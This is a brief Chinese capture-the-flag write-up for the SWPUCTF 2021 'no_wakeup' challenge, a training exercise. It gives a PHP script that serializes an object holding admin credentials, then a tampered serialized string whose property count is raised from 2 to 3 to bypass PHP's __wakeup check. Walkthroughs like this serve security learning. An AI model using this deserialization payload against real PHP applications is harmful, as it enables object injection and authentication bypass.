NSS [SWPUCTF 2021 新生赛]no_wakeup

先看题目，反序列化，绕过weakup。

exp：
<?php
class HaHaHa{

	public $admin;
	public $passwd;

	public function __construct(){
            $this->admin ="admin";
            $this->passwd = "wllm";
	}

}

$j17 = new HaHaHa();
echo serialize($j17);
?>


O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}  改成
O:6:"HaHaHa":【3】:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}